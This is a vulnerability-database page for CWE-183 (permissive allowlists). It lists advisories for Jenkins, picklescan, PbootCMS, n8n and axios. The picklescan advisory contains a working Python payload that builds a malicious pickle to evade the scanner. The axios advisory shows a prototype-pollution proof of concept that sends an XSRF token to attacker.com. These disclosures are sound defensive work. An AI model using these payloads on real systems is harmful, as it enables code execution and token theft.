Common Weakness Enumeration

CWE-183

Allowed

Permissive List of Allowed Inputs

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.

85 vulnerabilities reference this CWE, most recent first.

GHSA-V558-FHW2-V46W

Vulnerability from github – Published: 2022-05-24 22:00 – Updated: 2023-10-26 16:14
VLAI
Summary
Unsafe entry in Script Security list of approved signatures in Pipeline Remote Loader Plugin
Details

Jenkins Pipeline Remote Loader Plugin before 1.5 provided a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.

Severity
9.9 (Critical)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:workflow-remote-loader"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-08-30T18:21:15Z",
    "nvd_published_at": "2019-05-31T15:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Jenkins Pipeline Remote Loader Plugin before 1.5 provided a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.",
  "id": "GHSA-v558-fhw2-v46w",
  "modified": "2023-10-26T16:14:43Z",
  "published": "2022-05-24T22:00:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10328"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/workflow-remote-loader-plugin/commit/6f9d60f614359720ec98e22b80ba15e8bf88e712"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHBA-2019:1605"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1636"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/workflow-remote-loader-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-05-31/#SECURITY-921"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/05/31/2"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108540"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unsafe entry in Script Security list of approved signatures in Pipeline Remote Loader Plugin"
}

GHSA-VVPJ-8CMC-GX39

Vulnerability from github – Published: 2026-03-03 20:04 – Updated: 2026-06-18 14:45
VLAI
Summary
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Details

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees: - STACK_GLOBAL with module=pkgutil, name=resolve_name → NOT in blocklist → CLEAN - The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

Chain Resolves To Confirmed RCE picklescan Result
resolve_name("os:system") os.system YES CLEAN
resolve_name("builtins:exec") builtins.exec YES CLEAN
resolve_name("builtins:eval") builtins.eval YES CLEAN
resolve_name("subprocess:getoutput") subprocess.getoutput YES CLEAN
resolve_name("subprocess:getstatusoutput") subprocess.getstatusoutput YES CLEAN
resolve_name("subprocess:call") subprocess.call YES (shell=True needed) CLEAN
resolve_name("subprocess:check_call") subprocess.check_call YES (shell=True needed) CLEAN
resolve_name("subprocess:check_output") subprocess.check_output YES (shell=True needed) CLEAN
resolve_name("posix:system") posix.system YES CLEAN
resolve_name("cProfile:run") cProfile.run YES CLEAN
resolve_name("profile:run") profile.run YES CLEAN
resolve_name("pty:spawn") pty.spawn YES CLEAN

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why pkgutil Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.

Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.

Impact

This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.

This affects: - HuggingFace Hub (uses picklescan) - Any ML pipeline using picklescan for safety validation - Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

  1. Immediate: Add pkgutil to _unsafe_globals: python "pkgutil": {"resolve_name"},

  2. Also block similar resolution functions: python "importlib": "*", "importlib.util": "*",

  3. Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:

  4. Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching "module:function")
  5. Treating unknown globals as dangerous by default
  6. Switching to an allowlist model
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-3490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T20:04:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`pkgutil.resolve_name()` is a Python stdlib function that resolves any `\"module:attribute\"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle\u0027s opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely.\n\nThis defeats picklescan\u0027s **entire blocklist concept** \u2014 every single entry in `_unsafe_globals` can be bypassed.\n\n## Severity\n\n**Critical** (CVSS 10.0) \u2014 Universal bypass of all blocklist entries. Any blocked function can be invoked.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### How It Works\n\nA pickle file uses two chained REDUCE calls:\n\n```\n1. STACK_GLOBAL: push pkgutil.resolve_name\n2. REDUCE: call resolve_name(\"os:system\") \u2192 returns os.system function object\n3. REDUCE: call the returned function(\"malicious command\") \u2192 RCE\n```\n\npicklescan\u0027s opcode scanner sees:\n- `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` \u2192 **NOT in blocklist** \u2192 CLEAN\n- The second `REDUCE` operates on a stack value (the return of the first call), not on a global import \u2192 **invisible to scanner**\n\nThe string `\"os:system\"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) \u2014 picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.\n\n### Decompiled Pickle (what the data actually does)\n\n```python\nfrom pkgutil import resolve_name\n_var0 = resolve_name(\u0027os:system\u0027)          # Returns the actual os.system function\n_var1 = _var0(\u0027malicious_command\u0027)          # Calls os.system(\u0027malicious_command\u0027)\nresult = _var1\n```\n\n### Confirmed Bypass Targets\n\nEvery entry in picklescan\u0027s blocklist can be reached via resolve_name:\n\n| Chain | Resolves To | Confirmed RCE | picklescan Result |\n|-------|------------|---------------|-------------------|\n| `resolve_name(\"os:system\")` | `os.system` | YES | CLEAN |\n| `resolve_name(\"builtins:exec\")` | `builtins.exec` | YES | CLEAN |\n| `resolve_name(\"builtins:eval\")` | `builtins.eval` | YES | CLEAN |\n| `resolve_name(\"subprocess:getoutput\")` | `subprocess.getoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:getstatusoutput\")` | `subprocess.getstatusoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:call\")` | `subprocess.call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_call\")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_output\")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"posix:system\")` | `posix.system` | YES | CLEAN |\n| `resolve_name(\"cProfile:run\")` | `cProfile.run` | YES | CLEAN |\n| `resolve_name(\"profile:run\")` | `profile.run` | YES | CLEAN |\n| `resolve_name(\"pty:spawn\")` | `pty.spawn` | YES | CLEAN |\n\n**Total:** 11+ confirmed RCE chains, all reporting CLEAN.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# resolve_name(\"os:system\")(\"id\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n    + sbu(\"pkgutil\") + sbu(\"resolve_name\") + b\"\\x93\"  # STACK_GLOBAL\n    + sbu(\"os:system\") + b\"\\x85\" + b\"R\"                # REDUCE: resolve_name(\"os:system\")\n    + sbu(\"id\") + b\"\\x85\" + b\"R\"                       # REDUCE: os.system(\"id\")\n    + b\".\"                                               # STOP\n)\n\n# picklescan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs os.system(\"id\") \u2192 RCE\npickle.loads(payload)\n```\n\n### Why `pkgutil` Is Not Blocked\n\npicklescan\u0027s `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility \u2014 its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget.\n\n**Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list.\n\n## Impact\n\nThis is a **complete bypass** of picklescan\u0027s security model. The entire blocklist \u2014 every module and function entry in `_unsafe_globals` \u2014 is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function.\n\nThis affects:\n- HuggingFace Hub (uses picklescan)\n- Any ML pipeline using picklescan for safety validation\n- Any system relying on picklescan\u0027s blocklist to prevent malicious pickle execution\n\n## Suggested Fix\n\n1. **Immediate:** Add `pkgutil` to `_unsafe_globals`:\n   ```python\n   \"pkgutil\": {\"resolve_name\"},\n   ```\n\n2. **Also block similar resolution functions:**\n   ```python\n   \"importlib\": \"*\",\n   \"importlib.util\": \"*\",\n   ```\n\n3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider:\n   - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `\"module:function\"`)\n   - Treating unknown globals as dangerous by default\n   - Switching to an allowlist model",
  "id": "GHSA-vvpj-8cmc-gx39",
  "modified": "2026-06-18T14:45:31Z",
  "published": "2026-03-03T20:04:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3490"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-universal-blocklist-bypass-via-pkgutil-resolve-name"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PickleScan\u0027s pkgutil.resolve_name has a universal blocklist bypass"
}

GHSA-W42H-9GVX-CGMJ

Vulnerability from github – Published: 2026-03-21 06:30 – Updated: 2026-03-21 06:30
VLAI
Details

A security flaw has been discovered in PbootCMS up to 3.2.12. This affects an unknown function of the file core/function/file.php of the component File Upload. The manipulation of the argument black results in incomplete blacklist. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-21T06:16:14Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in PbootCMS up to 3.2.12. This affects an unknown function of the file core/function/file.php of the component File Upload. The manipulation of the argument black results in incomplete blacklist. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.",
  "id": "GHSA-w42h-9gvx-cgmj",
  "modified": "2026-03-21T06:30:25Z",
  "published": "2026-03-21T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4509"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zzj-create/cvetest/blob/main/VULN-04_DANGEROUS_FILE_UPLOAD_REPORT_EN.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.352075"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.352075"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.773901"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W96V-GF22-CRWP

Vulnerability from github – Published: 2026-01-13 14:57 – Updated: 2026-01-13 21:40
VLAI
Summary
n8n: Webhook Node IP Whitelist Bypass via Partial String Matching
Details

Impact

The Webhook node’s IP whitelist validation performed partial string matching instead of exact IP comparison. As a result, an incoming request could be accepted if the source IP address merely contained the configured whitelist entry as a substring.

This issue affected instances where workflow editors relied on IP-based access controls to restrict webhook access. Both IPv4 and IPv6 addresses were impacted. An attacker with a non-whitelisted IP could bypass restrictions if their IP shared a partial prefix with a trusted address, undermining the intended security boundary.

Patches

This issue has been patched in version 2.2.0.

Users are advised to upgrade to v2.2.0 or later, where IP whitelist validation uses strict IP comparison logic rather than partial string matching.

Workarounds

Users unable to upgrade immediately should avoid relying solely on IP whitelisting for webhook security. Recommended mitigations include: - Adding authentication mechanisms such as shared secrets, HMAC signatures, or API keys. - Avoiding short or prefix-based whitelist entries. - Enforcing IP filtering at the network layer (for example, via reverse proxies or firewalls).

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.36.0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-134",
      "CWE-183",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T14:57:12Z",
    "nvd_published_at": "2026-01-13T19:16:15Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\nThe Webhook node\u2019s IP whitelist validation performed partial string matching instead of exact IP comparison. As a result, an incoming request could be accepted if the source IP address merely contained the configured whitelist entry as a substring.\n\nThis issue affected instances where workflow editors relied on IP-based access controls to restrict webhook access. Both IPv4 and IPv6 addresses were impacted. An attacker with a non-whitelisted IP could bypass restrictions if their IP shared a partial prefix with a trusted address, undermining the intended security boundary.\n\n## Patches\nThis issue has been patched in version 2.2.0.\n\nUsers are advised to upgrade to v2.2.0 or later, where IP whitelist validation uses strict IP comparison logic rather than partial string matching.\n\n## Workarounds\nUsers unable to upgrade immediately should avoid relying solely on IP whitelisting for webhook security. Recommended mitigations include:\n- Adding authentication mechanisms such as shared secrets, HMAC signatures, or API keys.\n- Avoiding short or prefix-based whitelist entries.\n- Enforcing IP filtering at the network layer (for example, via reverse proxies or firewalls).",
  "id": "GHSA-w96v-gf22-crwp",
  "modified": "2026-01-13T21:40:42Z",
  "published": "2026-01-13T14:57:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-w96v-gf22-crwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/issues/23399"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/pull/23399"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/commit/11f8597d4ad69ea3b58941573997fdbc4de1fec5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "n8n: Webhook Node IP Whitelist Bypass via Partial String Matching"
}

GHSA-XX6V-RP6X-Q39C

Vulnerability from github – Published: 2026-05-05 00:25 – Updated: 2026-05-05 00:25
VLAI
Summary
Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion
Details

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

  • CWE-201: Insertion of Sensitive Information Into Sent Data
  • CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric Value Justification
Attack Vector Network PP triggered remotely via vulnerable dependency
Attack Complexity Low Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required None No authentication needed
User Interaction Required Victim must use browser with axios making cross-origin requests
Scope Unchanged Token leakage within browser context
Confidentiality Low XSRF token leaked — anti-CSRF token, not session token
Integrity Low Stolen XSRF token enables CSRF attacks (bypass CSRF protection only)
Availability None No availability impact

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior: - true → always send token (explicit cross-origin opt-in) - false → never send token - undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []): - All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

  • XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
  • Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
  • Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations: - Browser-only (XSRF logic runs only in hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Resources

Timeline

Date Event
2026-04-15 Vulnerability discovered during source code audit
2026-04-16 Report revised: corrected CVSS, documented limitations
TBD Report submitted to vendor via GitHub Security Advisory
Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42042"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:25:22Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "MODERATE"
  },
  "details": "# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion\n\n## Summary\n\nThe Axios library\u0027s XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** All versions since `withXSRFToken` was introduced\n**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`\n**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)\n\n## CWE\n\n- **CWE-201:** Insertion of Sensitive Information Into Sent Data\n- **CWE-183:** Permissive List of Allowed Inputs\n\n## CVSS 3.1\n\n**Score: 5.4 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | Required | Victim must use browser with axios making cross-origin requests |\n| Scope | Unchanged | Token leakage within browser context |\n| Confidentiality | Low | XSRF token leaked \u2014 anti-CSRF token, not session token |\n| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |\n| Availability | None | No availability impact |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.\n\nIf an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `\"true\"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.\n\n## Vulnerable Code\n\n**File:** `lib/helpers/resolveConfig.js`, lines 57-66\n\n```javascript\n// Line 57: Function check \u2014 only applies if withXSRFToken is a function\nwithXSRFToken \u0026\u0026 utils.isFunction(withXSRFToken) \u0026\u0026 (withXSRFToken = withXSRFToken(newConfig));\n\n// Line 59: The vulnerable condition\nif (withXSRFToken || (withXSRFToken !== false \u0026\u0026 isURLSameOrigin(newConfig.url))) {\n//  ^^^^^^^^^^^^^^^^\n//  When withXSRFToken = 1 (truthy non-boolean): this is true \u2192 short-circuits\n//  isURLSameOrigin() is NEVER called \u2192 token sent to ANY origin\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n**Designed behavior:**\n- `true` \u2192 always send token (explicit cross-origin opt-in)\n- `false` \u2192 never send token\n- `undefined` \u2192 send only for same-origin requests\n\n**Actual behavior for non-boolean truthy values (`1`, `\"false\"`, `{}`, `[]`):**\n- All treated as truthy \u2192 same-origin check skipped \u2192 token sent everywhere\n\n## Proof of Concept\n\n```javascript\n// Simulated prototype pollution from any vulnerable dependency\nObject.prototype.withXSRFToken = 1;\n\n// In browser with document.cookie = \"XSRF-TOKEN=secret-csrf-token-abc123\"\n// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123\n// Even to cross-origin hosts:\nawait axios.get(\u0027https://attacker.com/collect\u0027);\n// \u2192 attacker receives the XSRF token in request headers\n```\n\n## Verified PoC Output\n\n```\nwithXSRFToken Value        Sends Token Cross-Origin  Expected\ntrue (boolean)             YES                       Yes (opt-in)\nfalse (boolean)            No                        No\nundefined (default)        No                        No\n1 (number)                 YES \u2190 BUG                No\n\"false\" (string)           YES \u2190 BUG                No\n{} (object)                YES \u2190 BUG                No\n[] (array)                 YES \u2190 BUG                No\n\nPrototype pollution:\n  Object.prototype.withXSRFToken = 1\n  config.withXSRFToken = 1 \u2192 leaks=true\n  isURLSameOrigin() was NOT called (short-circuited)\n```\n\n## Impact Analysis\n\n- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application\n- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application\n- **Misconfiguration Risk:** Developer writing `withXSRFToken: \"false\"` (string) instead of `false` (boolean) triggers the same issue without 